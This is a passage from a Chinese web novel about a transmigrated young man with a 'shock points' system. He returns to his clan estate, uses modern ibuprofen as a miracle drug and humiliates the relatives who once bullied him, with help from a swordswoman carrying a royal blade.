现在若是稍微省着点花,估计用不了多久,就能成功兑换到商店里躺着的那把**,届时不仅自身的武力值得到了提升,防身利器也能就位。
不过,从这几波震惊当中,江云帆还得知了另外一个重要的讯息。
那便是韦大夫带进去的布洛芬,已经起到了作用。
“也不知阿婆的情况究竟如何了……”
江滢显然还不知道这一点,一张脸上的担忧都快满溢出来。
江云帆开口安慰道:“放心,那特效药一到位,这会基本已经退烧了。”
“嗯嗯……”
尽管江滢心里依旧忐忑,但好歹也算得到了一点安慰。
而此时墨羽正站在相距十步开外的路旁,靠着栓马的木桩,怀中抱着剑,一脸审视地看向这边。
“倒是没想到,江公子还会医术?”
江云帆闻言微微一笑,自信满满道:“行医嘛,难的不过是诊断病情,其次才是对症下药,而这两者……我都不会。”
“……”
墨羽实在无语,见这人吊儿郎当的模样,忍不住摇头嘀咕:“也不知殿下为何偏偏就在意你这家伙。”
她说得很小声,本以为谁都听不到。
可殊不知江云帆在经过昨晚一通洗礼之后,整个人除了肢体力量变强之外,就连感知能力都提升了不少。
所以墨羽这句话,他隐隐约约听去了一部分。
“等会儿……你说谁中意我来着?”江少爷把那眉头一挑,满脸邪乎,“不会是你家小姐吧?”
“你做梦!”
墨羽直接翻了个白眼,又把脸撇向一旁。
心里却暗自后悸,看来以后得提防着点江云帆,不能在他周围轻易碎碎念了,这回还好没有暴露郡主的身份。
说起来,这家伙还真是神奇。
除开那酿酒写诗做菜行医的技法之外,从初见之时,墨羽一眼看出他体质孱弱,手无缚鸡之力。
到现在竟然能跟凌州城的一名小将领掰掰手腕并且胜出,以及这胜过常人的听觉,江云帆身上发生的改变……实在是让人匪夷所思。
【叮,震惊达成,来自墨羽的情绪值:+62!】
嗯?
又一波情绪值,江云帆却反而懵了,这人怎么莫名其妙的?
当然,他也没太在意这事,转而开口问道:“话说如今万灯节已结束,你家小姐打算何时离开镜源县呢?”
“你不知道吗?”
墨羽回过头来,“王府楼舫已于今早开拔离港,小姐此刻,估计已经随船远去百里了。”
“倒是挺突然。”
其实江云帆也有料到,秦七汐肯定不会在镜源县待太长时间,无论她身份是什么,作为贵族子女,必然是要受些管束。
只是听到这个消息,也只觉得心里很是遗憾。
估计,是在对方离开之前,还没挤够牛奶吧。
“行了,时间差不多了。”
江云帆起身将小电驴儿推进了街角的旮旯处,稍作隐藏。随后朝江滢招了招手:“走,回去瞧瞧这个久违的‘家’!”
“可是哥,门口有人把守,我们怎么回去?”
“硬闯!”
江云帆确实打算硬闯。
其实他也早就看出来了,身边这位墨羽姑娘,实力绝非凡俗之人能够碰瓷的,江家不过有一帮并未修习武道的打手护院,铁定不是对手。
至于为什么不一开始就硬闯进去。
原因也很简单,如果当真发生争执,双方僵持之下,反倒会耽误进去救人的时机。
而现在,布洛芬的特殊功效已经得到了验证,而那玩意往往不是只服用一次就能彻底退烧的,所以江云帆手里剩下的那些药品,便是他与江家众人平起平坐进行交流的资本。
……
一行三人径直来到
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了江家大门外。
立于两旁的侍女和家丁,共计十二人,个个打扮得干干净净。然而此时一见江云帆和江滢出现,立马露出一副又惊又疑又意外的表情。
“快,速去禀报大老爷,告诉他三少爷回来了!”
其中一人拉住旁边的小厮,小声道了一句。
后者猛猛点头,转身便要跑进府中。
却在这时,一名身着灰黑色长衣,看着几近六十岁的小老头出现在两人身后,直接将小厮拦下:“禀报什么禀报?就这点儿事,还需劳烦大老爷吗?”
两人立马低下脑袋,不再说话。
而那小老头,则原地整了整衣衫,顺着台阶而下,一脸冷笑地走到江云帆三人面前。
“咦?”
他以手作遮阳状,在江云帆身上上下扫视了一圈,随后恍然大悟道:“我还以为是谁呢,这不是咱家三公子吗?几月不见,怎么瘦了?”
江云帆眼睛微微一眯。
将脑海中属于原主的记忆,迅速过了一遍,立马便找到了有关眼前之人的信息。
这小老头,名为薛谋,乃是江府三十年来唯一的管家。
虽说名义上是江家的管家,但实际却与江宏和江元勤父子关系极为密切,基本算得上是长房一脉的心腹了。
在江云帆的印象里,江元勤以前在欺负原主和江滢时,这老家伙可没少当帮凶。
“哦?这里还有一个啊!”
薛谋皮笑肉不笑,又把视线落在江滢身上,“怎么,小姐这是在府上待着不习惯,也想出去尝尝外面的柴米油盐?唉,可惜,看你也瘦了!”
他一边说一边摇头,面作可怜状。
可那脑袋刚甩一个来回,他便只觉寒风袭来,一个指节分明的巴掌在面前猛地划过,只听一声剧烈的脆响——
“啪——!”
“嗡嗡嗡……”
薛谋身体猛地一晃,人懵了,脸上传来火辣辣的刺痛,耳朵里也响起剧烈的回音。
他一脸茫然,缓缓抬起头来看江云帆,表情瞬间扭曲:“你敢打我!”
“啪!”
江云帆又一巴掌下去,左右平衡。
“不打你,难道任由你一个狗奴才,骑在主子头上拉屎撒尿?”
……
第163章 参见郡主殿下
“不好了,大事不好了!”
就在江宏父子与梁千秋围着韦方连番追问之时,屋外一道无比急切的喊声响起。
几人注意力被吸引,纷纷扭头看去。
只见管家薛谋一阵踉跄,“扑通”一下摔在门口,嘴里还在带着哭腔喊着:“家主,大老爷……门口有人**,已经打伤我们好多人了!”
江宏怒目一瞪:“你们都是饭桶吗?”
薛谋捂着两边脸:“他们之中有高手,**很疼……”
“我倒要看看谁这么大胆子,这是当我江家无人了?你立马去把王友元叫来!”
“是。”
薛谋低头作揖,又迅速退出房门。
一旁的江元勤听罢,心里暗暗一慌。
他迈步来到江宏身边,一脸担忧道:“昨日我已与归雁先生相约,若无意外,今日就要到凌州讲学,并且最先落足江家。我已经安排人在门口列队恭候,这会要是有人闹作一团,被归雁先生撞见了,那成何体统?”
“嗯。”
江宏满脸严肃地点点头,“你我现在就过去,看看到底是谁如此狂妄!”
“嗯。”
两人齐齐出了房间。
而韦方见此一幕,更是有种不好的预感。三少爷这会正在府外等候呢,万一这事与他有关,那可就麻烦了。
念及此,他也连忙挪动跛脚,紧随两人的脚步跟了上去。
……
府门之外,一边倒的打斗很快便结束。
江家又来了一帮打手,但结果依旧,在墨羽手下一招也撑不住,一个个躺在地上翻来滚去哀嚎。
“都给我住手!”
恰在此时,大门之内传来一声呵斥,像是在指挥这帮护院。
下一刻,江宏与江元勤匆匆忙忙赶了出来。二人抬眼看去,尽是自己人倒地,这一声“住手”好像也完全没人能听了。
这会江云帆正打算迈步入府呢,闻言微微一笑。
住手就住手。
反正该挨打的人,都已经被狠削了一遍,他也不亏。
隔着几十步的距离,相对眼尖的江元勤很快便发现了他,瞳孔顿时一缩,愤怒升腾而起。
“江云帆!!”
一声怒吼,二公子提着自己的长衫下摆,呲牙咧嘴地冲到台阶前,伸手一指江云帆,“你好大的胆子,昨天的账我还没找你算,今天你居然敢闹到凌州来,简直找死!”
昨日在秋思客栈,他挨了江云帆那两巴掌。
脸虽然已经不痛了,但心却依旧是剧痛若绞,那种**的感觉,谁能懂?
本打算等今日迎接归雁先生讲学之事处理妥善后,再去镜源找江云帆,让这小子付出血的代价!
却没想到,对方居然主动送上门来了!
“还有你这野种!”
江元勤又挪动手指,指尖落在江云帆侧后方的江滢身上,“吃里扒外的东西,还敢回来?”
“为何不敢?”
江云帆冷冷一笑,果断往前走了几步,恰好挡住江元勤看向江滢的视线,“我们是回来探望阿婆的,轮不到你管!”
不得不说,虽同为江家人,基因却也能天差地别。
二房江朝北一脉,特点便是身材高大。
而长房江宏一家,顶多就算个中等偏下。
其中江云帆虽算不得健硕威猛,但绝对是妥妥的高挑挺拔。此刻哪怕江元勤是站在一级台阶上的,却也依旧比他低了半个头。
“什么轮不到我管?你江云帆一个废……”
“滚开,叫你老子来说话!”江云帆一声呵斥,直接将其打断。
“你……”
江元勤话死腹中,只觉得扫了颜面,正想开怼。
正巧这时江宏也走了过来。
江大老爷背着手,一脸以上视下的傲然:“云帆呐,你离家三个月,怎么变得越发没有礼数了?对兄长大呼小叫,见到大伯不好好称呼,传出去,别人还以为是我江家没家教!”
“狗屁大伯。”
“?”
听到这话江宏脸一沉,整个人都懵了。
他是属实没想到,自己这侄子在面对自己的时候,不仅不似以前那般唯唯诺诺,居然还直接开口就骂,丝毫不留情面。
短短三个月时间,一个人怎么能变得这么野?
“江云帆!”江宏也怒了
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,“我是念及同族之情,才准许你站在这好好说话,别怪我翻脸无情!”
“别踏马同族之情了。”
江云帆苦涩一笑,“你也知道,我现在不是江家人了,跟你不是同族,你也别一副长辈对晚辈的样子说话。还有,我当初被逐出家门的真相,大家都心知肚明,你就不要假惺惺了。”
三个月前,原主被赶出江家,主要原因就是江宏添油加醋,道出原主与有夫之妇厮混之事。
事实上,真相并非如此。
因为兄长自边关寄来的书信,让原主得知白瑶父亲为救江朝北而死。于是便时常前往白瑶的酒坊,照顾一下生意,或是帮忙置办一些所需的物件。
至于两人的关系,一切都在合情合礼的范围之内。
可到江宏口中,就变成了糜乱不堪。
“我听不懂你在说什么。”
见要被揭穿,江宏冷下声音道,“今日府中还有要事,我暂且放你一马,赶紧离开!”
他和江元勤的想法一样。
迎接归雁先生到来,乃是眼下最最重要的事,要么把江云帆赶走,要么就先稳住局面,等薛管家叫来王友元。
作为知名大族,江家自然也豢养有自己的镇宅武者。
王友元守护江家多年,如今已是武道正三品,放眼整个凌州城,都是排得上号的高手。只要他到,收拾江云帆和他的帮手,轻而易举。
但江云帆显然不可能听话:“我已经说过了,今日回来是为了探望祖母,见不到人不会走。”
“老爷子也说过了,你江云帆胆敢踏入府中半步,打断双腿!”
江云帆无语摇头,懒得与之争辩。
他转头看向旁边一脸平静的墨羽,开口问道:“墨姑娘,若你拔剑砍了这二人,以秦小姐家中的权势,能否摆平?”
听到这话,江宏与江元勤顿时脸都绿了。
“呵……”
倒是墨羽忽然冷笑一声,“莫说砍两人,就是屠了整个江家又何妨?”
开玩笑,她家小姐家中……那可是南毅王府!
就是当着天下的面碾除江家,又有谁敢说什么?
第164章 寻得高人求神药
十三年前,王友元曾于南冥山学习拳法,并最终成就自己的三品武道。
而那南冥山,既是江南武学的圣地,同时也与帝京郊外的清风原,以及北境的万渊谷,并称为天下三大神兵利器锻造之所。
王友元记得很清楚,当年南冥山的几位长老,曾联手以世间罕有的陨铁,为南毅王府锻造过一把宝剑,名为“龙念”。
其剑刃修长翩然,剑锋自耀寒光,凌厉非凡,削铁如泥。
长老们委托他的师傅下山送剑,王友元侥幸被选中同行,也正是在交接宝剑之时,他看到了那道刻于剑刃底部,泛着紫色辉光的九龙印记。
后来他还得知,王爷打造这把剑,是为了赠予王妃。
而在王妃离世后,顺其自然就交给了临汐郡主。
所以毫无疑问,眼前这位能够随身携带“龙念”的女子,正是临汐郡主本人!
“小民有眼无珠冒犯郡主,罪该万死!”
江府门前地板上,王友元又狠狠磕了一个响头。
而这一声呼喊,也让方才愣在原地的众人,逐渐醒过些神来。
最先感受到五雷轰顶的便是江宏与江元勤父子,两人呆站在原地像是两根木桩,四只眼睛各自瞪成了三白眼,一动不动。
这怎么可能?
他们理解不了,一个跟随在江云帆身边的女打手,如何会拥有郡主的身份?
“王护府,你是不是认错人了?”江宏满脸茫然地开口询问。
江元勤也全然不解:“是啊,哪家的郡主,会亲自跟着江云帆这小子跑来大闹江家?”
“错不了。”
王友元喉头哽咽着抬起头,目光再次落向墨羽手中的长剑,“这把剑,乃十三年前南毅王下令为王妃打造,铸成后由我与师傅,亲手送至王府……如今这剑,只可能存在于临汐郡主手中!”
“临汐……!!”
“咚!”
一声闷响,江宏直接一屁股坐在了地上。
方才在得知眼前这女子可能是一位郡主的时候,他只觉得震撼万分。
可当知晓这“郡主”,指的居然是那位名动天下,足以与公主齐名的临汐郡主时,他的天仿佛要塌了。
临汐郡主是什么样的存在?
她的一喜一怒,都足以影响到整个江南,何况是他小小的凌州江家?
不止江宏懵了,江元勤同样傻眼。
尽管心存疑惑,总觉得眼前这女子虽说容貌还算出众,但身材平平,绝不可能担得上“江南第一美人”的称呼。
而且她身手不凡,也与临汐郡主才女的人设不符。
可王护府从来不会说谎,江元勤又不得不信。
他只是想不明白,凭什么江云帆能请动临汐郡主,甚至能让对方替他出手**?
这还是曾经那个畏畏缩缩的废物吗?
【叮,震惊达成,来自江元勤的情绪值:+256!】
正站在原地满脸凝重的江云帆,忽然听到脑海中传来的系统提示音。
好家伙,这也能赚江元勤一波?
但眼下他显然没精力关注这事,毕竟王友元这番话,属实有些让人不可思议。
“没想到啊墨姑娘,你居然还是个郡主!”
墨羽侧目瞥了他一眼,嘴上沉默不语。
其实江云帆心里很清楚。
墨羽就是墨羽,不可能是什么郡主。毕竟系统不会骗人,每次从这姑娘那里获得情绪值的时候,提示的名字都是“墨羽”。
而临汐郡主,只可能姓秦。
倒是让江云帆疑惑的点在于,独属于南毅王府的九龙纹剑,又怎会在墨羽的手里?
最大的可能,墨羽是使用者,而非拥有者。
那么是谁交给她使用的?
刹那间,那道一袭金丝白裙,于夕阳下俏然挺立的绝美身影,在江云帆脑海中骤然浮现。
秦七汐!
……难道说?
“不
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用瞎猜了,我不是郡主。”
正当此时,墨羽一声轻喝,打断了所有人的沉思。
冷面侍卫依旧冷若冰霜,就那么居高临下地俯视着王友元:“你还打不打,要打就赶紧,不打就让路!”
“不……不打了,不打了。”
王友元哪里还敢打,赶紧顺着地面往旁边连挪数步,让开中间的道路。
他庆幸还来不及呢。
原本在见到这把“龙念”的时候,他的心已经一凉到底了,毕竟得罪了临汐郡主等于得罪南毅王府,想死个全尸都难。
可谁知对方居然不追究!
这样的话,还管你是不是临汐郡主本人,保命要紧!
毕竟就算眼前女子不是临汐郡主本人,能随身携带这把剑,也必然是郡主亲信了,同样是他惹不起的存在。
“走吧江公子。”
墨羽率先迈出几步,手中长剑一挑,将原本被三段鞭缠绕落地的剑鞘凌空挑起,顺势收剑入鞘。
江云帆也给江滢使了个眼色,两人紧跟脚步走向府内。
倒是墨羽方才的一番话,让江元勤心中舒坦了不少。
果然不是临汐郡主,他就知道,真正的郡主,怎可能跟着江云帆这种人一起胡闹?
“江云帆。”
想到这他挑眉一喊,“你要入府可以,不过丑话说在前头,老爷子打你我可不拦着!”
江云帆冷冷一笑:“这就不劳你操心了,只希望我下次打你的时候,你能为自己拦着。”
“你……”
江元勤气得不行,脸又开始疼了。
但他显然不甘认输:“我告诉你,祖母眼下重病在身,在我寻到高人求得神药之前,她不可能见你们!”
“高人?”
江云帆停下脚步,眉头微微一皱。
恰在这时,自府门内,一道略显消瘦的身影正蹒跚而来。
“二公子,三少爷……你们不要再打了!”
……
第165章 二哥喜欢跳泥坑吗
韦方其实已经尽力了。
他腿脚不方便,平日里很少走路,今日匆匆忙忙来回许多趟,那患有老疾的左腿早就疼得有些厉害。
所以从老夫人的居处到大门口这点距离,他都得花上不少的时间,以至于架打完了才姗姗来迟。
“韦大夫你来得正好!”
见到韦方,江元勤立马露出一脸喜色,“快,带我去寻那位高人,今日我无论花费多大的代价,也要把他请回家来!”
他对那能够快速退热的神药,可谓十分感兴趣。
毫无疑问,这东西效果出奇,若是能够量产,再投入市场,必定能销售火爆!
江元勤甚至都已经计划好了,一粒卖一百两银子,价格虽然很贵,但对于那些不缺钱的豪门贵族来说,根本算不得什么。
还有一些高烧之下想要保命的人,总得来买。
而现在,他只需要找到那位高人,并与其达成合作,或者想办法弄来对方的药物制方。
说起来,江元勤自己都觉得自己今天忙得不行。
又要寻找高人,又要迎接归雁先生,果然有能力的人总是繁忙。
“韦大夫?”
见韦方原地呆住,江元勤连忙又开口提醒了一句。
可谁知对方回过神来,一脸无奈道:“二公子,我说的那位高人,就在你眼前啊!”
“什么?”
江宏也从地上爬将起来:“什么?”
两人茫然瞪大双眼,顺着韦方的目光看去,视线最终汇聚在江云帆身上。
“方才我被你赶出府外,恰好遇到了三少爷。”韦方解释道,“是他给了我那一粒神药,并委托我将其送回,让老夫人服下,这才退了高烧!若不是三少爷啊……后果不堪设想!”
“……”
江元勤和江宏相视一眼,都从对方眼中读出了不可思议。
江云帆……是那个高人?
【叮,叮……】
又是连续两道提示音响起,江云帆又从这父子俩身上赚到了将近四百点情绪值。
不仅如此,就连身后的墨羽和江滢,也同样贡献了数量不菲的两波。
“小先生!”
也就在此刻,又一道喊声响起,那号称“凌州医圣”的梁千秋,正领着侍童急急忙忙从门内冲出来。
他直接绕过韦方,一脸笑意地来到江云帆面前。
“嘿嘿,小先生医术出神入化,灵药妙若仙丹,老朽我实在是佩服之至啊!”
梁千秋可没有夸大其词,行医这几十年来,他还是第一次被别的医者给震惊到如此地步。
关键,对方还是这样一个年纪轻轻的后生!
对于医道之事,他向来严苛,但若有比他强的人,也是打心底佩服。
“?”
江云帆目光看上去,不认得对方。
好在韦方及时介绍:“三少爷,这位是凌州第一名医,梁千秋梁大师!”
“原来是梁大师,久仰久仰!”
江云帆展颜一笑,赶忙上前抓住对方的手,友好一握。
梁千秋哪里经历过这种打招呼的方式。
但架不住江少爷热情,于是也学着模样握住江云帆的手上下摇晃。
“关于那神药,不知老朽能否向小先生讨教一二?”
“当然可以!”
江云帆一脸爽快,“正巧晚辈也有事请教梁大师,待今日闲后,咱们坐下来好好聊聊?”
“好!”
江云帆确实有事要找对方。
关于江滢的身体,从小到大体虚多病,晕倒昏迷也是时常发生的事。奈何他不通医术,系统商场里又偏偏一直没刷出21世纪的医书材料,更用不了百度……当然,就算能用江云帆也不会用,这是前世经验,本为小病,百度必癌。
所以,他决定必须找个有水平的医者瞧瞧。
“江云帆。”
这时江元勤又一次从震惊中清醒过来,一脸严肃地开口,“既然那药是出自你手,为调理祖母病况,你还不赶紧多拿一些出来?”
“对啊贤侄!你阿婆对你一向关怀备至,现在是该你回报的时候了!”
两父子一唱一和。
其目的,便是拿到江云帆的神药,到时候就算没有配方,他们也有信心能整理出其中成分。
“这药数量有限,我又不是江家人,为什么要交出来?”
“你……你为何如此冷血?”
江云帆一脸冷色,不过却悄悄伸手拉了一下江滢的手臂,示意小姑娘不要因为这句话,以为他真的不会拿药出来。
实际上,他的目的另有其人。
“你们想要我的药,也不是不可以,不过我有两个条件。”
“贤侄你说!”江宏一见有戏,连忙上前一步。
“第一,这江家乌烟瘴气,连奴才都能对着主子大呼小叫,我不想让自己的药被这种环境所污染
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,你得叫几个下人滚蛋。”
“没问题,贤侄且说是何人。”
江宏这会只想拿到药,下人什么的,不重要。
“爽快,那么有请咱们的……薛管家!”
“?!”
在请来王友元之后,薛谋一直躲在大门的一角偷偷看戏。
本以为已经没有他的事了,却不曾想,这会居然让江云帆点名点到了头上。
“大……大老爷。”
他颤颤巍巍地走过去,耸着肩膀来到江宏身边,身体瑟瑟发抖,“我……我为江家鞠躬尽瘁这么多年,对您更是忠心耿耿,您应该不会听他的吧?”
“蠢货!”
江宏狠狠一巴掌甩在他脸上,抽得眼冒金星。
“主家再怎么闹,轮得到你一个下人上嘴脸?”
“我……我错了。”
“错了有什么用?赶紧收拾东西给我滚!”
不得不说,江宏也是有一定演技在身上的。
嘴里说着最狠的话,脸上却不断使着小眼神,薛谋就是再蠢也知道要配合演戏了。
“是。”
薛谋低头鞠躬,正欲离开。
却**云帆叫住:“等会……以下犯上冲撞主子,光走人可不行,得先领二十个棍子。”
江少爷可不傻,他前脚一走,后脚这人肯定又被请回来。
只有棍子挨在身上才是最实在的!
“江少爷,您不能这样啊?”薛谋都快哭了。
然而江云帆没理他,转而伸手一指远处的几名护院,同先前入府被拦下时一样,指尖从几人脸上一划而过:“还有他们,一起!王护府,能否劳烦你动下手?”
王友元低头抱拳:“是!”
几名护院身体一颤,心都凉了半截。
他们了解王友元,这人一旦答应了什么事,那必然是要认认真真执行的!
后悔啊!
起初江云帆问他们,是不是同薛谋一样,不把江滢当江家小姐,早知道当时就认怂了。
“好了,第一个条件已经完成。”
此刻江宏脸上已经有些挂不住了,目光也变得阴郁起来,“贤侄说说,第二个条件是什么。”
“第二个条件,就得靠二哥来完成了。”
江云帆笑吟吟地转向江元勤,“二哥可还记得,院东头有片泥坑?”
江元勤心里直发毛:“你想怎样?”
“二哥喜欢跳泥坑吗?”
……
第166章 还是父亲您来跳吧
“江云帆,你什么意思?”
江元勤自然记得东院有一片烂泥坑,那处原本是引水浇灌花园的入口,还记得大概是七八年前,他让下人用锄头挖软旁边的泥土,形成一方两丈见宽的坑。
隔三岔五,他就会叫上几名伙伴,拉着江云帆去跳泥坑玩。
当然,江云帆负责跳,他们负责玩。
每次看那废物在坑里打滚,糊得满身泥泞的时候,几人就会竞相用泥团往他身上丢,比谁丢得准。
江元勤很享受那个时候,故而印象极深。
就连把江云帆拖到泥坑边时,自己每次都会笑着说出的两句话,都记得清清楚楚——
“三弟,跳泥坑吧,跳泥坑好玩!”
“……你不跳的话,那我就只好去找那小野种来跳咯?”
……
“二哥,跳泥坑吧。”
思绪逐渐清醒,周遭的景物再度回归现实。
江元勤睁开双目看着面前,江云帆正眯着眼对自己笑盈盈,嘴里更是说着那句让他心神震荡的话。
“跳泥坑吧,跳泥坑好玩。”
“?”
江元勤一脸茫然,一股寒意自心底升腾而起。
而就在这时,江云帆忽然神色一变,又冷声道:“你不跳的话,那我就只好麻烦大伯来跳咯?”
“不……不可能!”
江元勤双眼恍然一瞪,连忙后退两步。
“江云帆,你疯了吗!让我跳泥坑,你凭什么?”
从思想上战胜不了,那就通过大吼大叫,以让自己保持镇定。
“贤侄,你对付几个下人,大伯一句话也不会多说,可元勤是你兄长啊,自家人又何必相互为难呢?”
江元勤与江宏两人脸色都十分难看。
尤其江宏,他没有经历镜源县那一系列事情,还不知道如今的江云帆,早就已经不是当初还在江家时那个任人欺凌的三少爷了。
眼前这份落差感,让他极其不适应。
“还是少说废话吧。”
这两人一人一句,都快把江云帆整笑了。
还什么自家人何必相互为难,这么多年来,他从未觉得哪一刻江元勤把原主当成了自家人。
今天既然回了江家,那就势必要代替以前的自己,找回一些场子。
“反正我话放在这里,今天你二人,必须去一个跳泥坑。”
“江云帆你别得寸进尺!”江元勤总算是忍不住了,眉毛一挑道,“大不了那药我不要了,又不是我一个人的祖母,倒你想羞辱我,哼……做梦!”
江云帆忽然声音一冷:“你以为,我是在跟你商量吗?”
“!”
短短一句话,直接点醒了江元勤。
是啊,这事儿现在还有的商量吗?
他们原本可以仰仗的王友元,此刻已然转投敌营,江家还有谁能挡得住江云帆身边那位女子?
对方大可以拖着自己去烂泥坑!
一时间,恐惧爬上心头,江元勤竟身体失衡踉跄往后退去,直到撞在柱子上才被迫停下。
这是他第一次体会到这种惶恐的感觉,就好似自己根本没有自由,连命运都掌握在别人手里。
原来这种感觉,真的能让人难受到窒息的地步!
不止江元勤,江宏同样也有些怵:“云帆呐,你最好不要胡来,今日江家要迎接贵客,你搞得一团糟,成何体统啊?”
“没错!”
江元勤好似找到了救命稻草,立马提了几分底气,“今天要到江家的,乃是江南文魁归雁先生!他不仅是文坛大家,更是王府僚首,若惹得他不高兴,那便是得罪南毅王府,你我谁也担待不起!”
“驾!”
话音刚落,江府外大道转角口,突然传来一阵密集的马蹄声。
下一刻,几辆马车鱼贯而出,并排在路旁停下。
车上的幕帘相继被掀开,共计十余人匆忙下车,一个个衣着华贵,穿金戴银。
江元勤认得其中许多人,包括凌州四大世家的家主,以及经院院正林涯同在内,都是本地最为显赫有名的人物。
那林涯同拄着拐杖,远远便朝江元勤打招呼:“元勤呐……托你的福,归雁先生到了!”
听到这话江元勤顿时一喜。
归雁先生到了,不信这江云帆还敢造次,还敢让他跳泥坑?
想到这他脚下连忙迈动脚步,朝那路边快奔而去。
果不其然,众人围在一起静候。
自其中一辆马车之上,最后迈步下车的,正是沈远修。
其实沈大儒在被郡主丢在路边后,本想自己找辆商车,寻到这江家来。
可殊不知,刚一下车就遇到了林涯同。
当年两人在怀南城经院见过几面,故而相互认识。那林涯同可不简单,一道消息放出,凌州各大家族立马来人,一同接迎他光临。
随后更是一路将他护送到此。
见沈远修下车,江元勤连忙鞠躬行礼:“见过归雁先生!”
“江二公子免礼。”沈远修摆摆手,“听闻老夫人卧病,不知如今情况如何?”
“劳烦先生挂心,祖母已有好转。”
江元勤一脸得意。
目光扫过
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人群中其余家族的年轻人时,不禁浮现出一抹傲然。
自信的感觉又回来了!
这才是他江元勤,当朝二甲进士,即将上任的从四品怀南主簿,就连名震天下的大儒归雁先生,也会因为他而亲临江府,还对祖母关切万分。
换作凌州其他同辈之人,谁能达成这般成就?
诚然,人群中的年轻一辈确实有些眼红。
方才他们无论在归雁先生面前如何表现,对方始终不予搭理,而现在却会对江家嘘寒问暖,他们确实比不过江元勤。
“好,既如此,那江公子不如领我入府,亲自去探望一番?”
“当然,先生请!”
江元勤连忙摆出手势引路。
其余家族的家主也纷纷表示备了些薄礼,要去探望一番。
江元勤自然是来之不拒,毕竟人越多,江云帆越不敢乱来。
一行人簇拥着沈远修,浩浩荡荡往江府大门走去。
林涯同本就走在最前方,虽拄着拐杖,却反倒脚步稳健,第一个来到了门口的台阶前。
江宏见状,连忙上来迎接。
“欢迎归雁先生,欢迎各位!”
但那林涯同眼尖,却第一眼便注意到堵在门口的江云帆。
“这是?”
“这是我那侄儿,老二家的江云帆回来了。”
“哦?”
林涯同抻了抻眉毛,对着江云帆轻笑道,“你就是那个一无是处,被老家主乱棍打出家门的三少爷?”
“话说,既然已经被赶了出去,又何必死皮赖脸再回来呢?”
“江家在这凌州城已有二百年,代代都是人才豪杰,三少爷与其留下抹黑,倒不如还家族一个干净,你说呢?”
江云帆闻声回头。
却好巧不巧,与迈步赶来的沈远修四目相对。
归雁大儒身躯猛地一颤,原地停步。
一双眼睛瞪大,喜悦立马挂上脸:“云帆!居然这么巧?!”
他万万没想到,告别了镜源县,本打算到凌州江家来了解一下江云帆的过往,却直接遇到了本人!
太好了!
昨日湖畔看到的那句“**悲秋常作客,百年多病独登台”,正愁找不到人共赏,这不就来了吗?
万般激动之下,沈远修也顾不得自己大儒形象,直接小步带跑冲来。
随即一把抓住江云帆双手,似乎生怕他跑了。
而在奔跑时,与林涯同擦肩而过。
老院正原地一呆,满脸茫然地看着前方,脑子里全是空白。
这……这什么情况?
……
第167章 江公子当时已经断气了
“勤儿,这……”
“父亲,咱们今天只能认栽了!江云帆这小子有备而来,旁边那女人虽说不似临汐郡主,但手里却有南毅王府的九龙纹剑,咱们就算报官也没用!”
“怎会如此啊?他江云帆……不过出去混了三个月,上哪去结识王府的人呐!”
江宏实在是无法理解。
一个人人唾弃的废物,凭什么能够如此走运?
“当下的情况,您还是先依着他吧。”
江宏急了:“可我江宏好歹也算有头有脸的人物,让我钻泥坑这……”
“江云帆!”
江元勤生怕再与他多扯一句。
于是赶紧把话锋一转,将目光挪到江云帆身上:“咱们提前说好,这泥坑跳了之后,你答应的药可得交出来!”
他心里清楚,那药确实不简单,要是能拿到手,必将带来巨大的利益。
虽说眼下的形式对自己很不利,但江元勤自认不是傻子,必须尽可能地为自己换来好处。
“当然。”
江云帆微微一笑回应,“我说到做到。”
“好!”
江元勤回头对江宏递了个眼色,然后立马去招呼到访的客人,意图将众人领去客堂。
可江云帆哪里肯放他们离开?
他立马转身,刻意抬高嗓音对沈远修喊道:“沈先生啊!正巧这次有些学问向您讨教,不知先生介不介意,当着大家的面一起讲讲?”
“什么,归雁先生要讲学?”
“那你们这些后辈还等什么,这可是千载难逢的机会,赶紧跟着一起去听听啊!”
“那父亲,我去了!”
混在人群中的年轻人有七八个,皆是凌州各大豪门世家的公子小姐,听到江云帆这句话,顿时激动不已。
眼看人走掉一半,江元勤脸都绿了。
他真的恨死江云帆这厮,是生怕江家丢人丢不出去啊!
江宏那就更难受了,本来跳泥坑就是一件丢脸事,现在还要当着一群后辈的面来跳,他恨不得找个地缝躲起来。
可是没办法,一抬眼便看见江云帆身边的女子目光盯着自己,逃都没法逃。
江宏有苦说不出,只能一脸幽怨地领着一群人前往东院。
在场除了年轻一辈之外,还有一个拄着拐杖的白发老者,正是凌州经院院正林涯同。
他一瘸一拐地跟在沈远修身后,择了个时机悄声询问:“沈先生,您跟这江家三少爷,是什么关系啊?”
“我与他啊……算是同为文者,相知相惜吧!”
沈远修知道这已经是在给自己贴金了。
就目前江云帆所展现出的才华来看,自己年轻时创作的那些名篇,根本就不够看。
回头想来,当初想要招纳江云帆为徒,也是自己僭越了。
但是没办法,作为有名的儒者总得要点面子,他肯定不能说自己是想要向江云帆求教吧?
不过即便如此,林涯同的心中也一样泛起惊涛骇浪。
他本以为江元勤已经够了不起了,要知道整个凌州,还从来没有哪个年轻人能请来归雁先生这般大儒亲临授学。
可现在看来,这江云帆更是夸张!
居然能让归雁先生说出“相知相惜”这样的话,难不成以前臭名远播的江家废柴,一直以来都是装的?
【叮,震惊达成,来自林涯同的情绪值:+47!】
……
真废物啊!
听到脑海中这道铃声播报,江云帆都被气笑了。
好歹是堂堂凌州经院的院正大人,一郡儒者之首,一脸惊掉下巴的样子,结果就给这么点情绪值!
江少爷甚至觉得,要是奖励倍率和剩余寿命挂钩就好了。
这样那老家伙估计也快了……
“云帆哥~”
就在这时,一道软软的喊声突如其来,将江云帆从思索中唤醒。
他扭头一看,恰见一位长相乖巧的小女子,正**滢牵着手,从侧旁探出头来,歪着脸看他。
十四五岁的模样,眼睛很大,皮肤白皙,算是比较出众的美人胚子。
“你是?”
“哥,这是小柔啊,你忘记了吗?”
“小柔……”
江云帆眉头微皱,在记忆中一番努力搜索。
终于,稍微想起来一点。
林柔,凌州北城区林家的小姐,年龄与江滢相仿,也是江滢在整个凌州城内唯一的朋友。
许是林家在城内的处境,也类似他们兄妹二人在江家的处境一样,处处遭人排挤、逢人刁难,所以这林柔,也算与他们同病相怜。
江云帆还记得,这姑娘以前经常跟在他屁股后面“云帆哥云帆哥”的叫,像只小麻雀。
只是后来因故离开了凌州三年,如今才回来。
“小柔啊,你怎么突然长这么高了?”
“长大了嘛。”
林柔小脸悄悄一红,又开口道,“那除了长高之外,云帆哥还有没有发现其他的改变?”
江
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云帆微微一愣。
